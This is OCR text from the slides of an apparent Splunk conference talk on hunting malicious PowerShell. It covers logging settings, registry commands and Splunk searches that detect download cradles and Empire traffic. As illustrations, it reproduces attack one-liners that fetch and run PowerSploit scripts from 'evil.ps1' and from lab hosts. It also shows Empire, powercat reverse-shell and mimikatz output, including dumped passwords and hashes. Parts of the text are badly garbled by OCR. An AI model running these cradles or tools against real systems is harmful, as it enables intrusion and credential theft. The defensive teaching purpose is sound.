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Hunting the Known Unknowns
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Disclaimer

During the course of this presentation, we may make forward looking statements regarding future
events or the expected performance of the company. We caution you that such statements reflect our
current expectations and estimates based on factors currently known to us and that actual events or
results could differ materially. For important factors that may cause actual results to differ from those
contained in our forward-looking statements, please review our filings with the SEC. The forward-
looking statements made in the this presentation are being made as of the time and date of its live
presentation. If reviewed after its live presentation, this presentation may not contain current or
accurate information. We do not assume any obligation to update any forward looking statements we
may make. In addition, any information about our roadmap outlines our general product direction and is
subject to change at any time without notice. It is for informational purposes only and shall not, be
incorporated into any contract or other commitment. Splunk undertakes no obligation either to develop
the features or functionality described or to include any such feature or functionality in a future release.
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whoami
Ryan Kovar: CISSP, MSc(Dist)

17 Years of cyber security experience
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whoami

Steve Brant: CISSP

23 years in the IT biz

8 years in Security Information and Event
Management

Novice beer snob

Working on improving the Splunk ES out of
the box experience with improved workflow
and searches

Senior Security Strategist
Minister of Truth
@trustedtech
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Agenda

Answering some W ’s

— Why are we doing this talk

— Who is using PowerShell?

— What are the known unknowns of PowerShell
— Where can we get PowerShell Logs?

Talk about the H
— How do we can we find these attacks in our network?

And now another W
— Where can | find this info?

Conclusion
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If you don’t know your SDAYJOB’s current
PowerShell version...

... Sit Down
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If you don’t know your SDAYJOB’s current
PowerShell Logging Configuration...

...Sit Down
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Look around...

...Sit Down
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37/39 Organizations we interviewed were not
collecting PowerShell logs in any meaningful way

... Approximately 1.9
million workstations
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No Easy Breach: Challenges and Lessons

Learned from an Epic Investigation
! DOWNLOAD OPTIONS

[1]
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Powershell Is An Unknown Threat To Your Network

“That attack continued with PowerSploit, [...] It is everywhere
PowerSploit and a second-stage malware payload taken Q Every modern Windows Operating System
from the efforts of others” ‘/. has PowerShell installed. But its not just
— The Register, June 2016 Windows... Soon Linux

“The industry is [facing] years to come of PowerShell is Legitimate

System Administrators use PowerShell for
their day jobs. Some Windows Servers

o) =e]yls |0 attackers abusing PowerShell [...] tools like Q
Empire PowerShell Empire have all but assured that” »

— DarkReading.com, Mar 2016 don’t even have GUIs
Logging isn’t Turned on

Most organizations probably don’t have
the logs required to detect PowerShell
because they aren’t turned on by default
OR they are running an old version of
PowerShell

splunk> (.conf201s

“Windows PowerShell tied to more than a
LN (|8 third of cyber attacks”
— ComputerWeekly.com, Mar 2016
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Powershell Is An Unknown Threat To Your Network

“That attack continued with PowerSploit, [...]

. d d-st I load tak
PowerSploit and a second-stage malware payload taken
from the efforts of others”

— The Register, June 2016
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Powershell Is An Unknown Threat To Your Network

“The industry is [facing] years to come of

o)==l 0 attackers abusing PowerShell [...] tools like
Empire PowerShell Empire have all but assured that”
— DarkReading.com, Mar 2016
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Powershell Is An Unknown Threat To Your Network

“Windows PowerShell tied to more than a

ORI  third of cyber attacks”
— ComputerWeekly.com, Mar 2016
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Windows PowerShell is an interactive object-oriented
command environment with scripting language
features that utilizes small programs called cmndlets to
simplify configuration, administration, and
management of heterogeneous environments in both
standalone and networked typologies by utilizing
standards-based remoting protocols
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X Windows PowerShell

WS (K) VM(M)

audiodg
AvControlCenter32
avfaudiosw
btwdins

conhost

conhost

CSrss

CSrss
daemonu

dasHost

ddpe

dwm

explorer
Flashutil_ActiveX
FMAPP

HeciServer
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cunninghamp / Test-ExchangeServerHealth.ps1
<> Code Issues 7 Pull requests 3 Wiki Pulse Graphs

Branch: master v Test-ExchangeServerHealth.ps1 / Test-ExchangeServerHealth.ps1

‘:_‘. cunninghamp Update Test-ExchangeServerHealth.ps1

1 contributor

2136 lines (1872 sloc) 72.6 KB

.SYNOPSIS

.DESCRIPTION

.OUTPUTS

.PARAMETER Server

.PARAMETER ReportMode

® Watch ~

Raw

18 % Star 32 Y Fork 16

Find file Copy path

1fcifa2 on Dec 22, 2015

=

Blame  History [ '
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- Let us know. f B ¥ & F in 8 R\

News Video Events CrunchBase Search

DISRUPT SF The Complete Disrupt SF Agenda Has Been Announced Get Your Tickets Today )

Microsoft open sources PowerShell, brings it to
Linux and OS X

Frederic Lardinois (@fredericl

HODESROME

Popular Posts

7 Alta Motors all- CrunchBase
. " electric
M motorbikes Microsoft -
The reality of 1974
VR porn e e e i ccaais
1011000100000010001 1010001 1000101
';::m“,: :;:g:m:;:m: Microsoft is an American multinational corporation
111110101100011001011011101011001 that develops, manufactures, licenses, supports and
B e re i At sells computer software, consumer electronics and
Intel unveils a 110000000010101110110110110000110 personal computers and services. Its best known
- ready-to-fly i UL software products are the [Microsoft Windows line of
Tﬂ,, drone, the r::m::;:;:?uwmoﬂmﬁ:;ﬁ operating systems)(/product/windows), [Microsoft
Aero, to win 10,,.o,",.,m“’,w“‘”g,”m,m,m Office office suite)(/product/microsoft-office), and
110010111111110100010010111010101 [Internet Explorer](http://windows.microsoft.com/en-

over

us/internet-explorer/download-ie) ...
developers
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“Microsoft open sources PowerShell,
brings it to Linux and OS X”
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PowerShell can download files and execute them
in memory...they are never written to disk.
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Download Cradles... Coined by Raphael

iex (New-Object Net.WebClient).DownloadString("http://evil.psl")
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Who?
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“On the shoulders of Giants”

Russel VanTuyl

https://www.swordshield.com/wp-content/uploads/2016/05/
PowerShell-for-Cyber-Warriors-Bsides-Knoxville-2016v2.pptx
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“Hackers are shameless with their

victims: they them”
- Fr13drlch N13+z5ch3

made with dwigif.com
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@ 127.0.0.1

Directory listing for /

gitignore

CodeExecution/

Exfiltration/ Powershell.exe -exec bypass -noprofile -c “iex
LICENSE (New-Object Net.WebClient).DownloadString

Mayhem/

Persistence/ (‘http://127.0.0.1:8000/CodeExecution/Invoke-

PowerSploit.psd| Shellcode . pSl, )”
PowerSploit.psm1

PowerSploit.pssproj
PowerSploit.sin
Privesc/
README.md
Recon/
ScriptModification/
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Empire: PowerShell post exploitation agent | [Vers1on] .5.0

[Web]: https: //www PowerShellEmpire.com/ | [Twwtter] @harmj@y, @sixdub, @enwgma@xS

modules currently loaded

listeners currently active

agents currently active

(Empire) >

(Empire) > agents
[*] Active agents:

Name Internal IP Machine Name Username Process

HKDN4NMRHF4HEEHW 172.31.31.214  WIN-641KLL1VS30 *WIN-641KLL1VS30\Admpowershell/2164
FVEFL2G4NSB214TZ 172.31.31.214  WIN-641KLL1VS30 *WIN-641KLL1VS30\Admpowershell/3064
U3W3ECKVFUYUVTZS 172.31.31.214 WIN-641KLL1VS30 *WIN-641KLL1VS30\Admpowershell/1736

(Empire: agents) > +interact U3W3ECKVFUYUVTZS

(Empire: ) >

(Empire: ) > sysinfo

(Empire: V ) >

Listener: http: 3080
Internal IP: 172.31.31.214

Username: WIN-641KLL1VS30\Administrator
Hostname: WIN-641KLL1VS30

0S: Microsoft Windows Server 2012 R2 Standard
High Integrity: 1

Process Name: powershell

Process ID: 1736

PSVersion: 4

(Empire: ) >

Last Seen

2016-08-20 01:39:43
2016-08-22 17:50:40
2016-08-22 17:50:43

Similar to Metasploit in
user experience

C2 functionality
Second stage infection/
implant after initial
infection

Used extensively for
lateral movement



PS C:\> Get-Command

OWA-Toolkit

CommandType Name Version Source

Function Brute-EWS 0.0 OWA-Toolkit
Function Get-ewsPath 0.0 OWA-Toolkit
Function Get-owaPath 0.0 OWA-Toolkit
Function Get-OWAVersion 0.0 OWA-Toolkit
Function Multi-Thread 0.0 OWA-Toolkit
Function New-GAL 0.0 OWA-Toolkit
Function OTK-Init 0.0 OWA-Toolkit
Function Steal-GAL 0.0 OWA-Toolkit
Function Write-Message 0.0 OWA-Toolkit

PS C:\Windows\system32> IEX (New-Object System.Net.Webclient).DownloadString(

PS C:\Windows\system32> powercat
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :
VERBOSE :

execution

t scan configuration variables
ew current configuration

Execute Scan

put credentials to use for scan (default is current user)
nerate 1ist of active computers

turn to prompt

Return to powershell

8000

Set Stream 1: TCP

Set Stream 2: Powershell

Setting up Stream 1... (ESC/CTRL to exit)

Listening on [0.0.0.0] (port 8000)

Connection from [192.168.56.104] port [tcp] accepted (source port 50743)
Setting up Stream 2... (ESC/CTRL to exit)

Both Communication Streams Established. Redirecting Data Between Streams...

PS C:\Tools\PowerTools\PowerView> Get-DomainSID
5-1-5-21-583409771-3405124151-2053447744

PS C:\Tools\PowerTools\PowerView> Convert-5idToName
GHOST\SuperAdmin

PS C:\Tools\PowerTools\PowerView> Get-UserProperty

5-1-5-21-583409771-3405124151-2053447744-500
Description

name
SuperAdmin
Guest
krbtgt

description

Built-in account for administering the computer/domain
Built-in account for guest access to the computer/domain
Key Distribution Center Service Account

Russel Van Tuyl Password: !1Password

[C1int Eastwood Password: Sup3r_secret!
Jennifer Lawerence Password: HungerGames4Lif3
[Chuck Norris Password: 3xceptiOn!

Jessica Biel Password: mypassworD345

Rick Astley Password: NeverGonnaGiveYoulp!

Windows PowerShell g

PS C:\> Invoke-PowerShelllimi -ComputerName domainpc -UserName bharat\domainuser

[domainpcl: > powershell.exe —e SQBuAHYAbwBrAGUALQBFAHgAcAByYAGUAcwBzAGKAbwBUACAAJARCAELAZOB3ACOATWBiAGoAZ(OBjAHQATABJAESAL gBTAH;
UAcgAgACgAJAROAELAZOB3ACAATwR1AGoAZ0B iAHOATABJAF8AL aBNAGBAbOBwAHTAZ0BzAHMAAOBYAGLAL aBEAGUAZaBsAGEAJAB1AFMAJABVAGUAYORACAAKAAK
HGMHdHHgHEkHTw?uHE@ =

24 Windows PowerShell

: Set Stream 1: TCP
: Set Stream 2: Console

VQBMADUARARWAGKAQuB ¢ Setting up Stream 1.

|
PS C:\>

PS C:\> Ge

$K

y=Get-BootKey
-ADDBAccount

DistinguishedName: CN=Administrator,CN=Users,DC=omega,DC=SkyNet,DC=1an
Sid: 5-1-5-21-4119519601-1641031872-2178501425-500

Guid:

eObala7e-214f-497e-9a01-c6e738eb468a

SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:

Enabled:

True

AdminCount: True

Deleted:

LastLogon:

False
5/19/2016 11:53:39 AM

DisplayName:
GivenName:

Surname:
Description: B
SecurityDescriptor:

Built-in account for administering the computer/domain
DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInh

DiscretionaryAclProtected, SelfRelative

Owner :
NTHash:
LMHash:

5-1-5-21-4119519601-1641031872-2178501425-512
a7cfleb7d6d46bb3a295bc963b456485

: Listening on [0.0.0. 01 (port &&&4)

: Timeout!

: Stream 1 Setup Failure

: Closing Stream 2.

: Failed to close Stream 2

: Closing Stream 1.

Failed to close Stream 1

PS C \nlshang\Shells> powercat -1 -v —p 4444
Set Stream 1: TCP

VERBUSE: Set Stream 2: Console

VERBOSE: Setting up Stream 1.

VERBOSE: Listening on [0.0.0. 01 (port &4444)

VERBOSE: Connection from [192.168.254.152]1 port

VERBOSE: Setting up Stream 2.

VERBOSE : Both Communication Streams Established. Redirecting Data Between Streams.

PS C: \Wlndows\system32> $env:ComputerName

DOMAT
PS C.\Nlndows\system32> -

kAdwBQAFAAHgB6AEORe
AEcAZQBzAHYAYQBOAF c
ArAGKkAUgB1AHQAaQBSA
MwA4AEEAQQA9ADBAJwA
MAKQAPACWATABLAFQAZ

[tcpl accepted (source port 49175)

SplunK > JLUIlIZUI6



mimikatz

DEVWKSTN1X86.de
mimika

## ## Benj gentilkiwi® ( benja
## v ##' http entilkiwi.com/mimika

mimikatz

Authentication Id : 0 ; 516859 (0C
! : tive from

Mike
DEV

passwordl23
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Where?

s = 011113/5.3
‘qégad¢€52“rt)me/5.@. 5.38 S;?:::?;osm
o 2 ‘Cw_al&JSESJSIONID=SDs§56'5,. v
q 27 oy ¢ 9-Cr e e - U T B A
% (/0 'yf Oxé'\" \'\V“:“)fo b ‘1} Q\:ﬁx\:ﬂ\mt \“1_5;3‘ [43) It
o o 23N Vr‘ \\\m"\{\-w.%\n {0
. A% 2 \ > “ ‘
e N > o 2N Qo§ LR
5 e 2 Q & ’%‘\ b =N \ |
2 _ A ‘65 ‘\dﬁ(’ﬁ ome/5.9,375-38 Safar,"tash & \ \e\& L) =) @‘Ggq b ‘r O-\
) o]\ 8 et o 0 ,CW—(M&JSESSIONID:;SS33V;hu: FOr 4 3 o oj‘j\
: et Sl et e ) LT N NET
o x,’('eﬂ\oﬁ % AR 0T T ff gé: uc -“d:;] GET categor P \ 2
< o i 3\ [ ”‘@‘w‘.wmﬂ 0 - A s T
5 4 '\\’\‘5 AR = ey Wy W R
| ' ro‘?&\ Z h& W o\ s o ,
el SR OO i iy 83 5
g, RN e S W % Iy by i
4 Vs %2§ PR e g P o
: £ %g% A}(‘; t oA o
g N X i
\ A \% N A T ) .
\ 2% 13,3
s 33 e S
2 (Oo 2
o

Q
ot 030 ALY 4
2 d:m %"::; o= :"\,\%ﬁ’):jja a\rf»}
OE O EEG j%ﬁ?ﬁ(’s‘t@:m% o
T Hfes e oLe 08 \
SR 9"3/21\»7.0\,\.‘ W3



= -—F -
“fde".‘ ~— S

splunk> (confaoie



, CENTER FOR
INTERNET SECURITY

CIS_Microsoft_Windows_Server._...

is consistent.

18.7.65 Windows PowerShel,

This section is intentionally blank a ists to ensure the structure of Windows benchmarks

is consistent.

CIS Microsoft Windows Server 2012 R2 18.7.66 Windows Reliability Analysis

v11.0-11-04-2014

This section is intentionally blank and exists to ensure the structure of Windows benchmarks
is consistent
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v General Information

Windows 10 Security Technical Implementation Guide ::
Release: 5 Benchmark Date: 22 Jul 2016

Rule Title: PowerShell script block logging must be enabled.
STIG ID: WN10-CC-000326

Rule ID: SV-83411rl_rule Severity: CAT I

%ﬁo"

IAS E GILSHoS v

Clace+ TTnelace M
Home | Cybersecurity Training ¥ | TopicMap ¥ | STIGs ¥ | Tools ¥ | News | Help [ RSS Feeds v Discussion
Home Maintaining an audit trail of system activity logs can help identify configuration
STIGs Home Lo . .
errors, troubleshoot service disruptions, and analyze compromises that have
Control Correlation Identiier (CCI) Security Technical Implementation Guides (STIGs) occurred, as well as detect attacks. Audit logs are necessary to provide a trail of

evidence in case the system or network is compromised. Collecting this data is

STIGs Updates! essential for analyzing the security of information assets and detecting signs of

suspicious and unexpected behavior.
Microsoft Exchange 2013 Client Access STIG - Ver 1, Rel 1 - Update 8/17/2016 M

Microsoft Exchange 2013 Edge Transport STIG - Ver 1, Rel 1 - Update 8/17/2016 I v Check Content

Microsoft Exchange 2013 Mailbox STIG - Ver 1, Rel 1 - Update 8/17/2016 If the following registry value does not exist or is not configured as specified,
Microsoft Windows 2008 Server DNS STIG Version 1 - Update 8/17/2016 this is a finding.

DoD Annex for NIAP Protection Profiles
DoD Secure Host Baseline Repository *Pki
FAQs

IAVM

Security Requirement Guides e . )
Application Security and Development STIG - Version 4, Release 1 - Update 8/4/2016 Registry Hive: HKEY LOCAL MACHINE

HPE 3PAR StoreServ 3.2.x STIG Version 1, Release 1 - Update 8/3/2016 Registry Path: \SOFTWARE\

HPE 3PAR StoreServ 3.2.x STIG, Version 1 Release Memo - Update 8/3/2016 Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\

Mobile Iron Core v9.x STIG - Version 1, Release 1 - Update 8/2/2016

SRG/STIG Tools

STIG Library Compilation Bulk Download

(.zip format)

¥ Fix Text
STIG Mailing List

Configure the policy value for Computer Configuration >> Administrative

STIGs Technologies The Security Technical Implementation Guides (STIGs) and the NSA Guides are the configuration standards for  § Templates >> Windows Components >> Windows PowerShell >> "Turn on

DOD IA and |A-enabled devices/systems. Since 1998, DISA has played a critical role enhancing the security X e "
Vendor Process posture of DoD's security systems by providing the Security Technical Implementation Guides (STIGs). The PowerShell Script Block Logging" to "Enabled".
STIGs contain technical guidance to "lock down" information systems/software that might otherwise be
Contact Us vulnerable to a malicious computer attack.

"PKi = DoD PKI Cert Required Questions or comments?

Please contact DISA STIG Customer Support Desk: v cCl

disa.stig_spt@mail.mil 1 —
CCI: CCI-000135 -
The information system generates audit records containing the organization-

N R i T UGN LT POr O IR defined additional, more detailed information that is to be included in the audit

records.

NIST SP 800-53 :: AU-3 (1)

NIST SP 800-53A :: AU-3 (1).1 (ii)

NIST SP 800-53 Revision 4 :: AU-3 (1) M
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@HackerHurricane

hitp://www.HackerHurricane.com
Co-Creator of Log-MD
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PowerShell Logging Information
Version

PowerShell 1.0

PowerShell 2.0
PowerShell 3.0

PowerShell 4.0
PowerShell 5.0

No Logging... Who cares

Windows XP SP2/3, Server 2003SP2, Vista
SP1/SP2, Windows 2008 SP1/2Windows 2003
SP1,2Windows 7, Windows Server 2008R2

Windows 8/8.1, Server 2012/R2
Windows 8/1, 7SP1, Server 2008R2 SP1, 2012/
r2

Windows 10, Windows 8.1, Server 2012 R2
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PowerShell 1.0
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PowerShell 2.0

Setting State Comment

i) Turn on Script Execution Not configured No

[3]
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PowerShell 3.0

Setting State

iiz] Turn on Module Logging Not configured
:iz] Turn on Script Execution Not configured
iiz| Set the default source path for Update-Help Not configured

Comment
No
No
No

[3]
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PowerShell 4.0

Setting State Comment
|iz] Turn on Module Logging Not configured No
|iz] Turn on PowerShell Script Block Logging Not configured No
|iz] Turn on Script Execution Not configured No
|iz] Turn on PowerShell Transcription Not configured No
|iz] Set the default source path for Update-Help Not configured No

[3]
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PowerShell 5.0

Setting State Comment
|iz] Turn on Module Logging Not configured No
|iz] Turn on PowerShell Script Block Logging Not configured No
|iz] Turn on Script Execution Not configured No
|iz] Turn on PowerShell Transcription Not configured No
|iz] Set the default source path for Update-Help Not configured No

[3]
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Capture Your Transcriptions

1| PowerShell_transcript. DESKTOP-7HAHUU1.XAL50kVF.20160828105516 - Notepad - 0O X
File Edit Format View Help

8RR R SRR R R R R R R R R R

Command start time: 20160828105645

PS C:\Users\rkovar> iex (New-Object Net.WebClient).DownloadString("http:\\172.20.9.17:8000\Privesc

\PowerUp.ps1™)

Windows PowerShell transcript start

Start time: 20160828105645

Username: DESKTOP-7HAHUU1\rkovar

RunAs User: DESKTOP-7HAHUUl\rkovar

Machine: DESKTOP-7HAHUU1 (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe
Process ID: 4200

PSVersion: 5.1.14393.82

PSEdition: Desktop

PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.82
BuildVersion: 10.0.14393.82

CLRVersion: 4.0.30319.42000

WSManStackVersion: 3.0

PSRemotingProtocolVersion: 2.3

SerializationVersion: 1.1.0.1

B T T T

B T T

Command start time: 20160828105645
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_ Profile.psl

“ Home Share View 0

— v PN > ThisPC » Local Disk (C:) > Windows > System32 > WindowsPowerShell > v1.0 v O Search ( P .
D Music A Name - Datovonslifing T < &
B Videos | Diagno| || profile - Notepad

| DotNet| File Edit Format View Help
& OneDri 1 . . . . . o
@ nednve | EventF| Get-Ttem "hklm:\software\microsoft\windows\currentversion\policies\system\audit
I8 This PC | FileSystl $LogCommandHealthEvent = $true
| geteverq $LogCommandLifecycleEvent = $true
I Desktop )
| Help.fol
=| Documents | HelpV3
4 Downloads EX powers
) Music g powers
| Pictures | powers
g Videos | Power$}
‘2 Local Disk (C) | Powesl
y profile
PerfLogs SR
| PSEven
powershell ]
| psplug
Program Files | pwrshr
Program Files ( | pwrshsi
temp | Registry
Users | types
Windows | typesv3
— Lol AAICA S L
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:\Users\rkovar>powershell.exe -exec bypass -noprofile -c "IEX (New-Object Net.WebClient).DownloadString('http://172.20.

g 1 :9.17:8900/Recon/Power‘View.psl') 0 e
0 (0 :\Users\rkovar>powershell.exe -exec bypass -c¢ "IEX (New-Object Net.WebClient).DownloadString( 'http://172.20.9.17:8000/R &\ U
0 (@ 'Uecon/Get-HttpStatus.ps1l’) ) T 1
0 (3] A 3
0 (CI) Hive: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system , 9) (3)]
- g =
0 ¢) ‘; Property 1 i |
0 e q¢-  Tmmmmmm- ) ) 1} 1
1 ProcessCreationIncludeCmdLine_Enabled : 1 * 1 .
1 e : - 1
0 Gl ) 0]
1 il
1 o :\Users\rkovar>_ = 1
0 1 @ 0 0
1. 1) 1 0]
1. 0’ ) @ 1
0 1 0 0
1 (0)
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powershell.exe -exec bypass -noprofile -c
"IEX (New-Object
Net.WebClient).DownloadString('http://
172.20.9.17 /Recon/Get-HttpStatus.psl')
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File Action View Help
L Al NEN 7 Ho:l ¢

+ 3 Syt [ sein e

B Access-Denied Assistance &2 Include command line in process creation events Not
| App-V 1
| Audit Process Creation T )
& Include command line in process creation events O X

Credentials Delegation
Device Guard Includ dlinei )

. . =1 Include command line in process creation events
Device Installation E P

Device Redirection

| Disk NV Cache O Not Configured Comment:
| Disk Quotas

| Distributed COM @® Enabled

. Driver Installation O Disabled

Early Launch Antimalware ,
y Supported on: [ At |east Windows Server 2012 R2, Windows 8.1 or Windows RT 8.1
Enhanced Storage Access

| File Classification Infrastruc|

File Share Shadow Copy Prd

| Filesystem Options: Help:
| Folder Redirection
Group Policy This policy setting determines what information is logged in A
) Intemnet Communication M security audit events when a new process has been created.
| i5CSI This setting only applies when the Audit Process Creation policy
| KDC is enabled. If you enable this policy setting the command line
| Kerberos information for every process will be logged in plain text in the
— = — security event log as part of the Audit Process Creation event
1 setting(s) 4688, "a new process has been created,” on the workstations and
0TIV canrare an which thic nalin cattinn ic annliad
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| File Action View Help
oy | 2 = HE

| Public Key Policies
| Software Restriction Policies
| Application Control Policies
& IP Security Policies on Local Computer
v || Advanced Audit Policy Configuration
v 18y System Audit Policies - Local Group Policy
A Account Logon
4 Account Management
| Detailed Tracking
5 DS Access
5 Logon/Logoff
;5| Object Access

L

'

5 Policy Change

ooy

5 Privilege Use
3 System
i Global Object Access Auditing
ol Policy-based QoS
| Administrative Templates
v 4% User Configuration
| Software Settings
| Windows Settings
| Administrative Templates

Subcategory

sio) Audit DPAPI Activity

sio] Audit PNP Activity

4 Audit Process Creation

sio] Audit Process Termination

sio] Audit RPC Events

ois| Audit Token Right Adjusted
I

Audit Events

Not Configurejs |
Not Configure
Not Configure
Not Configure
Not Configure
Not Configure 6/

Audit Process Creation Properties

Policy  Explain

1 Audit Process Creation
=3

Configure the following audit events:
Success
Failure
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{3] Event Properties - Event 4688, Microsoft Windows security auditing. X

General Details

A new process has been created. A
Creator Subject:
Security ID: DESKTOP-7HAHUU1\rkovar
Account Name: rkovar
Account Domain: DESKTOP-7HAHUU1
Logon ID: 0x238760 -noprOfiIe
Target Subject:
Security ID: NULL SID
Account Namei -
—__TNEW FTUCESS 1D T~ UXTd<o
New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Token Elevation Type: %7%1938
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process ID: 0x1960

Creator Process Name: C:\Windows\System32\cmd.exe

Process Command Line:  powershell.exe -exec bypass -noprofile -c "IEX (New-Object
Net.WebClient).DownloadString('http://172.20.9.17:8000/Recon/PowerView.ps1’)

User: N/A Computer: DESKTOP-7HAHUU1
OpCode: Info

More Information: Event Log Online Hel

Copy Close
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audit.bat

add

add

add

add

add

add

ithub.com/sbrant/PowerShell

audit.bat

101 ways | love James Elliott FanFic: Mark Parsons and Archer Will | ever live up to Marcus's Expectations? Mick Baccio's Resume

"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "RemoteSigned" /f
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging," /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnablelInvocationHeader /t REG_DWORD /d 1 /f

"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting /t REG_DWORD /d 1 /f

:\temp

"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v OutputDirectory /t REG_SZ /d "C:\temp" /f

Auditpol /get /category:* - AuditPol_BEFORE_S%computernames.txt



Sweet Baﬂby Cyber JesusI What Do | Do!!!
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Ryan Chapman
Bechtel Corporation

Use Of Powershell With Splunk
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And now for
- something




LISTEN mEFULLY
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Finding Un-encoded |IEX activity

sourcetype="WinEventLog:Security" Process Command_Line=*
| eval Process_ Command_Line=lower(Process Command_Line)
| search Process Command_Line="*iex (new-object
net.webclient).downloadstring(*"

| stats VALUES(Process Command_Line) BY host
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Finding Un-encoded |IEX activity

Search & Reporting
A NeW SearCh SaveAsv  Close
sourcetype="WinEventLog:Security"” Process_Command_Line=* All time v Q

eval Process_Command_Line=lower (Process_Command_Line)
search Process_Command_Line="*iex (hew-object net.webclient).downloadstring(*"
stats VALUES(Process_Command_Line) BY host

v

~ 12 events (before 8/30/169:01:34.000 PM) No

ent Sampling v Job v » & 4 & Verbose Mode v
Events (12) Patterns Statistics (1) Visualization
20 PerPage v  /Format v Preview v
host VALUES(Process_Command_Line)

DESKTOP-7THAHUU1 ring(‘http

ing('http
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Finding Downloads Of .ps1 Files

sourcetype=stream:http http_method=GET

where like(uri, "%.psl™)

rex field=uri "\/(?<script _name>[~\/]+(?=%))"
eval dest content=substr(dest content,1,100)
stats VALUES(dest content) VALUES(uri) by dest ip
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Finding Downloads Of .ps1 Files

Search  Pivot  Reports  Alerts  Dashboards earch & Reportin
Q NeW SearCh SaveAsv  Close
sourcetype=stream:http http_method=GET Month to date v Q

| where like(uri, "%.ps1")

| rex field=uri "\/(?<script_name>[A\/]+(?=$%))"

| eval dest_content=substr(dest_content,1,100)

| stats VALUES(dest_content) VALUES(uri) by dest_ip

v
v 8 events (9/1/16 12:00:00.000 AM to 9/1/16 9:32:44.000 PM)  No Event Sampling v Job v ” & 1 ® Smart Mode v
Events Patterns Statistics (2) Visualization

20 Per Page v  /Format v Preview v

dest_ip VALUES(dest_content) VALUES(uri)

172.31.38.102 function Invoke-Portscan { <# .SYNOPSIS Simple portscan module PowerSploit Function: Invoke-Portsc /CodeExecution/Invoke-Shellcode.ps1
function Invoke-Shellcode { <# .SYNOPSIS Inject shellcode into the process ID of your choosing /Recon/Invoke-Portscan.ps1

52.33.98.37 function Invoke-Portscan { <# .SYNOPSIS Simple portscan module PowerSploit Function: Invoke-Portsc /CodeExecution/Invoke-Shellcode.ps1
function Invoke-Shellcode { <# .SYNOPSIS Inject shellcode into the process ID of your choosing /Recon/Invoke-Portscan.ps]

splunk> (conf2o1




Finding Unencrypted Empire Traffic

sourcetype=stream:http http user_agent="Mozilla/5.0
(Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko" (uri_path="/admin/get.php" OR uri_path="/
index.asp” OR uri_path="/index.jsp"” OR uri path="/
login/process.jsp" OR uri_path="/news.asp")

| stats VALUES(uri_path) by src_ip
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Finding Unencrypted Empire Traffic

mpire: Llisteners) > inf
| Optic
N quire Lt r i
K1ll al 1te t { t (M J
N¢ r i
aultle Lml { Numb«¢ S¢€ checkins before exit ]
ytagingKey True 5f4dcc3b5aa765d61d8327deb882ct99 Staging Keydemmanitial agent negotiation
True native Listener. type (native, pivot, hop, foreign, meter)
Listener target to redirect to for pivot/hop.
)efaultDelay True 5 Agent delay/reach back interval (in Seconds).
WorkingHours False Hours for the agent to operate (09:00-17:09).
I rue http://192.168:44.179: 8080 Hostname/IP for staging.
CertPat False Certi1fi1cate path for https listeners.
faultJitter Irue 0.0 Jitter 1n agent reachback interval (9.9-1.9).

DefaultProfile True /admin/get.php,/news.asp,/login/ Default communication proflle for the agent.
process.jsplMozilla/5.9 (Windows

NT 6.1; WOW64; Trident/7.0;
rv:11.09) like Gecko
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Finding Unencrypted Empire Traffic

Search  Pivot  Reports  Alerts  Dashboards Search & Reporting
Q NeW SearCh Save As v  Close
sourcetype=stream:http http_user_agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" Last 30 days Vv Q

(uri_path="/admin/get.php" OR uri_path="/index.asp" OR uri_path="/index.jsp" OR uri_path="/login/process.jsp" OR
uri_path="/news.asp") | stats VALUES(uri_pathI) by src_ip

v
~ 40,900 events (8/3/16 12:00:00.000 AM to 9/2/16 3:10:02.000 AM)  No Event Sampling v Job v A & 4 ® Smart Mode v
Events Patterns Statistics (2) Visualization

20 Per Page v  /Format v Preview v

src_ip VALUES(uri_path)

172.31.31.214 /admin/get.php
/index.asp
/index.jsp
/login/process.jsp
/news.asp

52.25.135.91 /admin/get.php
/index.asp
/index.jsp
/login/process.jsp
/news.asp
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Finding Encoded Data

sourcetype="WinEventLog:Security"
Process Command Line=%*

eval length=1len(Process _Command Line)
table length, Process Command Line
sort -length
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Decode from Base64 format

Simply use the form below

splunk>  App: Sej _

cwBhAGWAIABhACAATgBIAHCALQBPAGIAagBIAGMAJAA7AGKAZQB4ACGAY QA

index="winevent AEKATWAUAFMAJAByAGUAYQBAFIAZQBhAGQAZQBYACgAKABhACAASQBPAC

Process_Command 4AQwBVAGOAcABYyAGUAcwBzAGKAbwBUAC4ARABIAGYAbDABhAHQAZQBTAHQA -NonI -W Hidden

E cgBIAGEAbQAOAFSASQBPAC4ATQBIAGOAbwBYAHKAUWBOAHIAZQBhAGOAXQB

cwBhAGWAIABhACA bAEMAbWBUAHYAZQBYAHQAXQA6ADOARQBYAG8AbQBCAGEACWBlADYANABT QAZQBYACgAKABhA

cansqepacaaquay AHQACGBPAGAAZWACACCATABIAGKAeABDAHMASQB3AEUAQQBEAFEAWAAZA |, cob a0 Atk
EUASQBWAEKAYWBtAEWAaQA1AEsAawBGAESARQA2AGWAQgBCAFIAWABDAD

